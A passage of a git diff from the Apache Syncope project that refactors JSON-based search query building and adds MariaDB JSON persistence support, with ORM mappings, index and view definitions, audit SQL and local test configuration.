query.append("LOWER(?").append(setParameter(parameters, cond.getExpression())).append(')'); - } else { - query.append('?').append(setParameter(parameters, cond.getExpression())); - } - } else { - query.append(' ').append(ALWAYS_FALSE_ASSERTION); - LOG.error("LIKE is only compatible with string or enum schemas"); - } - break; - - case IEQ: - case EQ: - query.append(column); - query.append('='); - - if ((schema.getType() == AttrSchemaType.String - || schema.getType() == AttrSchemaType.Enum) && lower) { - query.append("LOWER(?").append(setParameter(parameters, attrValue.getValue())).append(')'); - } else { - query.append('?').append(setParameter(parameters, attrValue.getValue())); - } - break; - - case GE: - query.append(column); - if (not) { - query.append('<'); - } else { - query.append(">="); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; - - case GT: - query.append(column); - if (not) { - query.append("<="); - } else { - query.append('>'); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; - - case LE: - query.append(column); - if (not) { - query.append('>'); - } else { - query.append("<="); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; - - case LT: - query.append(column); - if (not) { - query.append(">="); - } else { - query.append('<'); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; - - default: - } - } - } - - protected void buildFromAndWhere( - final StringBuilder queryString, - final Pair> queryInfo, - final String realmsFilter, - final SearchSupport svs, + protected String buildFrom( + final Set from, + final Set plainSchemas, final OrderBySupport obs) { - queryString.append(" FROM ").append(svs.table().name).append(' ').append(svs.table().alias); + StringBuilder clause = new StringBuilder(super.buildFrom(from, plainSchemas, obs)); - Set schemas = queryInfo.getRight(); + Set schemas = new HashSet<>(plainSchemas); if (obs != null) { - obs.views.stream(). - filter(view -> !svs.field().name.equals(view.name) && !svs.table().name.equals(view.name)). - map(view -> view.name + ' ' + view.alias). - forEach(view -> queryString.append(',').append(view)); - obs.items.forEach(item -> { String schema = StringUtils.substringBefore(item.orderBy, ' '); if (StringUtils.isNotBlank(schema)) { @@ -911,49 +302,13 @@ protected void buildFromAndWhere( }); } - schemas.forEach(schema -> { - // i.e jsonb_path_query(plainattrs, '$[*] ? (@.schema=="Nome")."values"') AS Nome - PlainSchema pschema = plainSchemaDAO.find(schema); - if (pschema == null) { - // just to be sure - LOG.warn("Ignoring invalid schema '{}'", schema); - } else { - queryString.append(','). + schemas.forEach(schema -> Optional.ofNullable(plainSchemaDAO.find(schema)).ifPresent( + pschema -> clause.append(','). append("jsonb_path_query_array(plainattrs, '$[*] ? (@.schema==\""). append(schema).append("\")."). append("\"").append(pschema.isUniqueConstraint() ? "uniqueValue" : "values").append("\"')"). - append(" AS ").append(schema); - } - }); - - StringBuilder where = new StringBuilder(); - - if (queryInfo.getLeft().length() > 0) { - where.append(" WHERE ").append(queryInfo.getLeft()); - } - - if (queryInfo.getLeft().length() == 0) { - where.append(" WHERE "); - } else { - where.append(" AND "); - } - where.append(realmsFilter); - - if (obs != null) { - String obsWhere = obs.views.stream(). - filter(view -> !svs.field().name.equals(view.name) && !svs.table().name.equals(view.name)). - map(view -> "t.id=" + view.alias + ".any_id"). - collect(Collectors.joining(" AND ")); - if (!obsWhere.isEmpty()) { - if (where.length() == 0) { - where.append(" WHERE "); - } else { - where.append(" AND "); - } - where.append(obsWhere); - } - } + append(" AS ").append(schema))); - queryString.append(where); + return clause.toString(); } } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTemplateTO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/MaJPAJSONEntityFactory.java similarity index 68% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTemplateTO.java rename to core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/MaJPAJSONEntityFactory.java index 03aaa9e89f4..c509826cf38 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTemplateTO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/MaJPAJSONEntityFactory.java @@ -16,24 +16,15 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.to; +package org.apache.syncope.core.persistence.jpa.entity; -import javax.ws.rs.PathParam; +import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; +import org.apache.syncope.core.persistence.jpa.dao.MaJPAJSONAnySearchDAO; -public class ReportTemplateTO implements EntityTO { +public class MaJPAJSONEntityFactory extends JPAJSONEntityFactory { - private static final long serialVersionUID = 7776679004906244896L; - - private String key; - - @Override - public String getKey() { - return key; - } - - @PathParam("key") @Override - public void setKey(final String key) { - this.key = key; + public Class anySearchDAOClass() { + return MaJPAJSONAnySearchDAO.class; } } diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAJSONAnyObject.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAJSONAnyObject.java index 3415c44414c..4a2d31f95aa 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAJSONAnyObject.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAJSONAnyObject.java @@ -27,6 +27,7 @@ import javax.persistence.EntityListeners; import javax.persistence.Table; import javax.persistence.Transient; +import javax.persistence.UniqueConstraint; import org.apache.syncope.core.persistence.api.entity.JSONAttributable; import org.apache.syncope.core.persistence.api.entity.JSONPlainAttr; import org.apache.syncope.core.persistence.api.entity.Membership; @@ -36,7 +37,8 @@ import org.apache.syncope.core.persistence.jpa.validation.entity.JPAJSONAttributableCheck; @Entity -@Table(name = JPAAnyObject.TABLE) +@Table(name = JPAAnyObject.TABLE, uniqueConstraints = + @UniqueConstraint(columnNames = { "name", "type_id" })) @EntityListeners({ JPAJSONAnyObjectListener.class }) @JPAJSONAttributableCheck public class JPAJSONAnyObject extends JPAAnyObject implements JSONAttributable, AnyObject { diff --git a/core/persistence-jpa-json/src/main/resources/META-INF/spring-orm-majson.xml b/core/persistence-jpa-json/src/main/resources/META-INF/spring-orm-majson.xml new file mode 100644 index 00000000000..ec73b4b348a --- /dev/null +++ b/core/persistence-jpa-json/src/main/resources/META-INF/spring-orm-majson.xml @@ -0,0 +1,137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/core/persistence-jpa-json/src/main/resources/META-INF/spring.factories b/core/persistence-jpa-json/src/main/resources/META-INF/spring.factories index 3eea8324446..1176397e326 100644 --- a/core/persistence-jpa-json/src/main/resources/META-INF/spring.factories +++ b/core/persistence-jpa-json/src/main/resources/META-INF/spring.factories @@ -18,4 +18,5 @@ org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ org.apache.syncope.core.persistence.jpa.PGJPAJSONPersistenceContext,\ org.apache.syncope.core.persistence.jpa.MyJPAJSONPersistenceContext,\ + org.apache.syncope.core.persistence.jpa.MaJPAJSONPersistenceContext,\ org.apache.syncope.core.persistence.jpa.OJPAJSONPersistenceContext diff --git a/core/persistence-jpa-json/src/main/resources/audit/audit_majson.sql b/core/persistence-jpa-json/src/main/resources/audit/audit_majson.sql new file mode 100644 index 00000000000..13aae9f9a5c --- /dev/null +++ b/core/persistence-jpa-json/src/main/resources/audit/audit_majson.sql @@ -0,0 +1,24 @@ +-- Licensed to the Apache Software Foundation (ASF) under one +-- or more contributor license agreements. See the NOTICE file +-- distributed with this work for additional information +-- regarding copyright ownership. The ASF licenses this file +-- to you under the Apache License, Version 2.0 (the +-- "License"); you may not use this file except in compliance +-- with the License. You may obtain a copy of the License at +-- +-- http://www.apache.org/licenses/LICENSE-2.0 +-- +-- Unless required by applicable law or agreed to in writing, +-- software distributed under the License is distributed on an +-- "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +-- KIND, either express or implied. See the License for the +-- specific language governing permissions and limitations +-- under the License. + +CREATE TABLE IF NOT EXISTS AuditEntry ( + EVENT_DATE TIMESTAMP, + LOGGER_LEVEL VARCHAR(255) NOT NULL, + LOGGER VARCHAR(255) NOT NULL, + MESSAGE JSON NOT NULL, + THROWABLE TEXT +); diff --git a/core/persistence-jpa-json/src/main/resources/core-majson.properties b/core/persistence-jpa-json/src/main/resources/core-majson.properties new file mode 100644 index 00000000000..e29b704fe74 --- /dev/null +++ b/core/persistence-jpa-json/src/main/resources/core-majson.properties @@ -0,0 +1,33 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +persistence.indexesXML=classpath:majson/indexes.xml +persistence.viewsXML=classpath:majson/views.xml + +persistence.domain[0].key=Master +persistence.domain[0].jdbcDriver=org.mariadb.jdbc.Driver +persistence.domain[0].jdbcURL=jdbc:mariadb://localhost:3306/syncope?characterEncoding=UTF-8 +persistence.domain[0].dbUsername=syncope +persistence.domain[0].dbPassword=syncope +persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.MariaDBDictionary(blobTypeName=LONGBLOB,dateFractionDigits=3) +persistence.domain[0].orm=META-INF/spring-orm-majson.xml +persistence.domain[0].auditSql=audit_majson.sql +persistence.domain[0].poolMaxActive=10 +persistence.domain[0].poolMinIdle=2 + +provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate +provisioning.quartz.sql=tables_mariadb.sql diff --git a/core/persistence-jpa-json/src/main/resources/core-ojson.properties b/core/persistence-jpa-json/src/main/resources/core-ojson.properties index 4da7b2e9af1..bb4b8f5dda9 100644 --- a/core/persistence-jpa-json/src/main/resources/core-ojson.properties +++ b/core/persistence-jpa-json/src/main/resources/core-ojson.properties @@ -21,7 +21,7 @@ persistence.viewsXML=classpath:ojson/views.xml persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=jdbc:oracle:thin:@localhost:1521/XEPDB1 -persistence.domain[0].schema=SYNCOPE +persistence.domain[0].dbSchema=SYNCOPE persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=syncope persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary diff --git a/core/persistence-jpa-json/src/main/resources/domains/jpa-json/MasterContent.xml b/core/persistence-jpa-json/src/main/resources/domains/jpa-json/MasterContent.xml index d11e887c2ab..329c1bcf39d 100644 --- a/core/persistence-jpa-json/src/main/resources/domains/jpa-json/MasterContent.xml +++ b/core/persistence-jpa-json/src/main/resources/domains/jpa-json/MasterContent.xml @@ -18,7 +18,7 @@ specific language governing permissions and limitations under the License. --> - + @@ -29,18 +29,18 @@ under the License. - - - + @@ -50,11 +50,11 @@ under the License. + jobDelegate_id="ExpiredAccessTokenCleanup" cronExpression="0 0/5 * * * ?"/> + jobDelegate_id="ExpiredBatchCleanup" cronExpression="0 0/5 * * * ?"/> - - - - - - - + diff --git a/core/persistence-jpa-json/src/main/resources/majson/indexes.xml b/core/persistence-jpa-json/src/main/resources/majson/indexes.xml new file mode 100644 index 00000000000..8bc611e0ae7 --- /dev/null +++ b/core/persistence-jpa-json/src/main/resources/majson/indexes.xml @@ -0,0 +1,63 @@ + + + + + Additional indexes (in respect to JPA's) + + CREATE INDEX Realm_parent_id ON Realm(parent_id) + + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) + CREATE UNIQUE INDEX SyncopeUser_username ON SyncopeUser(username) + + CREATE INDEX SyncopeGroup_realm_id ON SyncopeGroup(realm_id) + CREATE UNIQUE INDEX SyncopeGroup_name ON SyncopeGroup(name) + + CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) + CREATE UNIQUE INDEX AnyObject_name ON AnyObject(type_id,name) + + CREATE INDEX UDynGroupMembers_any_id ON UDynGroupMembers(any_id) + CREATE INDEX UDynGroupMembers_group_id ON UDynGroupMembers(group_id) + CREATE INDEX ADynGroupMembers_any_id ON ADynGroupMembers(any_id) + CREATE INDEX ADynGroupMembers_group_id ON ADynGroupMembers(group_id) + + CREATE INDEX DynRoleMembers_any_id ON DynRoleMembers(any_id) + CREATE INDEX DynRoleMembers_role_id ON DynRoleMembers(role_id) + + CREATE INDEX DynRealmMembers_any_id ON DynRealmMembers(any_id) + CREATE INDEX DynRealmMembers_dynRealm_id ON DynRealmMembers(dynRealm_id) + + CREATE INDEX UMembership_GroupIndex ON UMembership(group_id) + CREATE INDEX UMembership_UserIndex ON UMembership(user_id) + CREATE INDEX AMembership_GroupIndex ON AMembership(group_id) + CREATE INDEX AMembership_AnyObjectIndex ON AMembership(anyObject_id) + + CREATE INDEX URelationship_RightIndex ON URelationship(anyObject_id) + CREATE INDEX URelationship_LeftIndex ON URelationship(user_id) + CREATE INDEX ARelationship_RightIndex ON ARelationship(right_anyObject_id) + CREATE INDEX ARelationship_AnyObjectIndex ON ARelationship(left_anyObject_id) + + CREATE INDEX Task_executedIndex ON NotificationTask(executed) + CREATE INDEX TaskExec1_TaskIdIndex ON PropagationTaskExec(task_id) + CREATE INDEX TaskExec2_TaskIdIndex ON PullTaskExec(task_id) + CREATE INDEX TaskExec3_TaskIdIndex ON PushTaskExec(task_id) + CREATE INDEX TaskExec4_TaskIdIndex ON NotificationTaskExec(task_id) + CREATE INDEX TaskExec5_TaskIdIndex ON SchedTaskExec(task_id) + CREATE INDEX ATPullTask_PullTaskIndex ON AnyTemplatePullTask(pullTask_id) + diff --git a/core/persistence-jpa-json/src/main/resources/majson/views.xml b/core/persistence-jpa-json/src/main/resources/majson/views.xml new file mode 100644 index 00000000000..ca89fe82ae4 --- /dev/null +++ b/core/persistence-jpa-json/src/main/resources/majson/views.xml @@ -0,0 +1,262 @@ + + + + + + + CREATE TABLE UDynGroupMembers( + any_id CHAR(36), + group_id CHAR(36), + UNIQUE(any_id, group_id)) + + + CREATE TABLE ADynGroupMembers( + anyType_id VARCHAR(255), + any_id CHAR(36), + group_id CHAR(36), + UNIQUE(anyType_id, any_id, group_id)) + + + CREATE TABLE DynRoleMembers( + any_id CHAR(36), + role_id VARCHAR(255), + UNIQUE(any_id, role_id)) + + + CREATE TABLE DynRealmMembers( + any_id CHAR(36), + dynRealm_id VARCHAR(255), + UNIQUE(any_id, dynRealm_id)) + + + + + CREATE VIEW user_search AS + + SELECT u.id as any_id, u.* FROM SyncopeUser u + + + CREATE VIEW user_search_unique_attr AS + + SELECT u.id as any_id, attrs.* + FROM SyncopeUser u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.uniqueValue' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW user_search_attr AS + + SELECT u.id as any_id, attrs.* + FROM SyncopeUser u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.values[*]' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW user_search_urelationship AS + + SELECT m.user_id AS any_id, m.anyObject_id AS right_any_id, m.type_id AS type + FROM URelationship m + + + CREATE VIEW user_search_umembership AS + + SELECT m.user_id AS any_id, g.id AS group_id, g.name AS group_name + FROM UMembership m, SyncopeGroup g + WHERE m.group_id = g.id + + + CREATE VIEW user_search_role AS + + SELECT ss.user_id AS any_id, ss.role_id AS role_id + FROM SyncopeUser_SyncopeRole ss + + + CREATE VIEW user_search_priv AS + + SELECT ss.user_id AS any_id, sp.privilege_id AS privilege_id + FROM SyncopeUser_SyncopeRole ss, SyncopeRole_Privilege sp + WHERE ss.role_id = sp.role_id + + + CREATE VIEW user_search_dynpriv AS + + SELECT any_id, privilege_id + FROM DynRoleMembers drm, SyncopeRole_Privilege rp + WHERE drm.role_id = rp.role_id + + + CREATE VIEW user_search_auxClass AS + + SELECT st.user_id AS any_id, st.anyTypeClass_id AS anyTypeClass_id + FROM SyncopeUser_AnyTypeClass st + + + CREATE VIEW user_search_resource AS + + SELECT st.user_id AS any_id, st.resource_id AS resource_id + FROM SyncopeUser_ExternalResource st + + + CREATE VIEW user_search_group_res AS + + SELECT m.user_id AS any_id, st.resource_id AS resource_id + FROM UMembership m, SyncopeGroup r, SyncopeGroup_ExternalResource st + WHERE m.group_id = r.id AND st.group_id = r.id + + + + + CREATE VIEW anyObject_search AS + + SELECT a.id as any_id, a.* FROM AnyObject a + + + CREATE VIEW anyObject_search_unique_attr AS + + SELECT u.id as any_id, attrs.* + FROM AnyObject u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.uniqueValue' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW anyObject_search_attr AS + + SELECT u.id as any_id, attrs.* + FROM AnyObject u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.values[*]' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW anyObject_search_arelationship AS + + SELECT m.left_anyObject_id AS any_id, m.right_anyObject_id AS right_any_id, m.type_id AS type + FROM ARelationship m + + + CREATE VIEW anyObject_search_amembership AS + + SELECT m.anyObject_id AS any_id, g.id AS group_id, g.name AS group_name + FROM AMembership m, SyncopeGroup g + WHERE m.group_id = g.id + + + CREATE VIEW anyObject_search_auxClass AS + + SELECT st.anyObject_id AS any_id, st.anyTypeClass_id AS anyTypeClass_id + FROM AnyObject_AnyTypeClass st + + + CREATE VIEW anyObject_search_resource AS + + SELECT st.anyObject_id AS any_id, st.resource_id AS resource_id + FROM AnyObject_ExternalResource st + + + CREATE VIEW anyObject_search_group_res AS + + SELECT m.anyObject_id AS any_id, st.resource_id AS resource_id + FROM AMembership m, SyncopeGroup r, SyncopeGroup_ExternalResource st + WHERE m.group_id = r.id AND st.group_id = r.id + + + + + CREATE VIEW group_search AS + + SELECT r.id as any_id, r.* FROM SyncopeGroup r + + + CREATE VIEW group_search_unique_attr AS + + SELECT u.id as any_id, attrs.* + FROM SyncopeGroup u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.uniqueValue' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW group_search_attr AS + + SELECT u.id as any_id, attrs.* + FROM SyncopeGroup u LEFT OUTER JOIN JSON_TABLE(COALESCE(plainAttrs, '[]'), '$[*]' COLUMNS ( + schema_id VARCHAR(255) PATH '$.schema', + NESTED PATH '$.values[*]' COLUMNS ( + booleanvalue INT PATH '$.booleanValue', + datevalue VARCHAR(32) PATH '$.dateValue', + doublevalue DOUBLE PATH '$.doubleValue', + longvalue BIGINT(20) PATH '$.longValue', + stringvalue VARCHAR(255) PATH '$.stringValue')) + ) AS attrs ON 1=1 + WHERE schema_id IS NOT NULL + AND (booleanvalue IS NOT NULL OR datevalue IS NOT NULL OR doublevalue IS NOT NULL OR longvalue IS NOT NULL OR stringvalue IS NOT NULL) + + + CREATE VIEW group_search_auxClass AS + + SELECT st.group_id AS any_id, st.anyTypeClass_id AS anyTypeClass_id + FROM SyncopeGroup_AnyTypeClass st + + + CREATE VIEW group_search_resource AS + + SELECT st.group_id AS any_id, st.resource_id AS resource_id + FROM SyncopeGroup_ExternalResource st + + + diff --git a/core/persistence-jpa-json/src/main/resources/myjson/indexes.xml b/core/persistence-jpa-json/src/main/resources/myjson/indexes.xml index 0fd0c62b4eb..8bc611e0ae7 100644 --- a/core/persistence-jpa-json/src/main/resources/myjson/indexes.xml +++ b/core/persistence-jpa-json/src/main/resources/myjson/indexes.xml @@ -21,6 +21,8 @@ under the License. Additional indexes (in respect to JPA's) + CREATE INDEX Realm_parent_id ON Realm(parent_id) + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) CREATE UNIQUE INDEX SyncopeUser_username ON SyncopeUser(username) @@ -28,7 +30,7 @@ under the License. CREATE UNIQUE INDEX SyncopeGroup_name ON SyncopeGroup(name) CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) - CREATE UNIQUE INDEX AnyObject_name ON AnyObject(name) + CREATE UNIQUE INDEX AnyObject_name ON AnyObject(type_id,name) CREATE INDEX UDynGroupMembers_any_id ON UDynGroupMembers(any_id) CREATE INDEX UDynGroupMembers_group_id ON UDynGroupMembers(group_id) diff --git a/core/persistence-jpa-json/src/main/resources/ojson/indexes.xml b/core/persistence-jpa-json/src/main/resources/ojson/indexes.xml index ae3f5713360..ab9484c4231 100644 --- a/core/persistence-jpa-json/src/main/resources/ojson/indexes.xml +++ b/core/persistence-jpa-json/src/main/resources/ojson/indexes.xml @@ -21,6 +21,8 @@ under the License. Additional indexes (in respect to JPA's) + CREATE INDEX Realm_parent_id ON Realm(parent_id) + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) CREATE INDEX SyncopeUser_lower_username ON SyncopeUser(LOWER(username)) @@ -28,7 +30,7 @@ under the License. CREATE INDEX SyncopeGroup_lower_name ON SyncopeGroup(LOWER(name)) CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) - CREATE INDEX AnyObject_lower_name ON AnyObject(LOWER(name)) + CREATE INDEX AnyObject_lower_name ON AnyObject(type_id,LOWER(name)) diff --git a/core/persistence-jpa-json/src/main/resources/pgjsonb/indexes.xml b/core/persistence-jpa-json/src/main/resources/pgjsonb/indexes.xml index ee64b6477bb..ee2ca34ea4e 100644 --- a/core/persistence-jpa-json/src/main/resources/pgjsonb/indexes.xml +++ b/core/persistence-jpa-json/src/main/resources/pgjsonb/indexes.xml @@ -21,6 +21,9 @@ under the License. Additional indexes (in respect to JPA's) + CREATE INDEX Realm_parent_id ON Realm(parent_id) + CREATE INDEX Realm_fullPath_startsWith ON Realm USING GIN (to_tsvector('english', fullPath)) + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) CREATE UNIQUE INDEX SyncopeUser_username ON SyncopeUser(username) CREATE INDEX SyncopeUser_lower_username ON SyncopeUser(LOWER(username)) @@ -32,8 +35,8 @@ under the License. CREATE INDEX SyncopeGroup_plainAttrs_idx ON SyncopeGroup USING gin ((plainAttrs) jsonb_path_ops) CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) - CREATE UNIQUE INDEX AnyObject_name ON AnyObject(name) - CREATE INDEX AnyObject_lower_name ON AnyObject(LOWER(name)) + CREATE UNIQUE INDEX AnyObject_name ON AnyObject(type_id,name) + CREATE INDEX AnyObject_lower_name ON AnyObject(type_id,LOWER(name)) CREATE INDEX AnyObject_plainAttrs_idx ON AnyObject USING gin ((plainAttrs) jsonb_path_ops) CREATE INDEX UDynGroupMembers_any_id ON UDynGroupMembers(any_id) diff --git a/core/persistence-jpa-json/src/test/java/org/apache/syncope/core/persistence/jpa/JPAJSONTestContextCustomizer.java b/core/persistence-jpa-json/src/test/java/org/apache/syncope/core/persistence/jpa/JPAJSONTestContextCustomizer.java index 8a733347300..798400fcdde 100644 --- a/core/persistence-jpa-json/src/test/java/org/apache/syncope/core/persistence/jpa/JPAJSONTestContextCustomizer.java +++ b/core/persistence-jpa-json/src/test/java/org/apache/syncope/core/persistence/jpa/JPAJSONTestContextCustomizer.java @@ -53,6 +53,12 @@ public void customizeContext(final ConfigurableApplicationContext ctx, final Mer "provisioning.quartz.sql=tables_mysql_innodb.sql"); break; + case "majson": + TestPropertySourceUtils.addInlinedPropertiesToEnvironment( + ctx, + "provisioning.quartz.sql=tables_mariadb.sql"); + break; + case "ojson": TestPropertySourceUtils.addInlinedPropertiesToEnvironment( ctx, @@ -65,6 +71,7 @@ public void customizeContext(final ConfigurableApplicationContext ctx, final Mer AnnotatedBeanDefinitionReader reader = new AnnotatedBeanDefinitionReader(getBeanDefinitionRegistry(ctx)); reader.registerBean(PGJPAJSONPersistenceContext.class, "PGJPAJSONPersistenceContext"); reader.registerBean(MyJPAJSONPersistenceContext.class, "MyJPAJSONPersistenceContext"); + reader.registerBean(MaJPAJSONPersistenceContext.class, "MaJPAJSONPersistenceContext"); reader.registerBean(OJPAJSONPersistenceContext.class, "OJPAJSONPersistenceContext"); } } diff --git a/core/persistence-jpa-json/src/test/resources/core-majson-test.properties b/core/persistence-jpa-json/src/test/resources/core-majson-test.properties new file mode 100644 index 00000000000..f89cebdcb82 --- /dev/null +++ b/core/persistence-jpa-json/src/test/resources/core-majson-test.properties @@ -0,0 +1,30 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +security.adminUser=${adminUser} +security.anonymousUser=${anonymousUser} +security.jwsKey=${jwsKey} +security.aesSecretKey=${secretKey} + +persistence.domain[0].jdbcURL=jdbc:mariadb://${DB_CONTAINER_IP}:3306/syncope?characterEncoding=UTF-8 +persistence.domain[0].poolMaxActive=10 +persistence.domain[0].poolMinIdle=2 +# keep the next two lines until https://jira.mariadb.org/browse/MDEV-27898 is fixed +persistence.domain[0].dbUsername=root +persistence.domain[0].dbPassword=password + +provisioning.connIdLocation=${syncope.connid.location} diff --git a/core/persistence-jpa-json/src/test/resources/core-myjson-test.properties b/core/persistence-jpa-json/src/test/resources/core-myjson-test.properties index 759c819729c..53a03729ad5 100644 --- a/core/persistence-jpa-json/src/test/resources/core-myjson-test.properties +++ b/core/persistence-jpa-json/src/test/resources/core-myjson-test.properties @@ -18,10 +18,10 @@ security.adminUser=${adminUser} security.anonymousUser=${anonymousUser} security.jwsKey=${jwsKey} -security.secretKey=${secretKey} +security.aesSecretKey=${secretKey} persistence.domain[0].jdbcURL=jdbc:mysql://${DB_CONTAINER_IP}:3306/syncope?useSSL=false&allowPublicKeyRetrieval=true&characterEncoding=UTF-8 persistence.domain[0].poolMaxActive=10 persistence.domain[0].poolMinIdle=2 -provisioning.connIdLocation=${connid.location} +provisioning.connIdLocation=${syncope.connid.location} diff --git a/core/persistence-jpa-json/src/test/resources/core-ojson-test.properties b/core/persistence-jpa-json/src/test/resources/core-ojson-test.properties index 70b684cc234..0565a4cdea9 100644 --- a/core/persistence-jpa-json/src/test/resources/core-ojson-test.properties +++ b/core/persistence-jpa-json/src/test/resources/core-ojson-test.properties @@ -18,11 +18,12 @@ security.adminUser=${adminUser} security.anonymousUser=${anonymousUser} security.jwsKey=${jwsKey} -security.secretKey=${secretKey} +security.aesSecretKey=${secretKey} persistence.domain[0].jdbcURL=jdbc:oracle:thin:@${DB_CONTAINER_IP}:1521/XEPDB1 #persistence.domain[0].jdbcURL=jdbc:oracle:thin:@192.168.0.176:1521/orcl 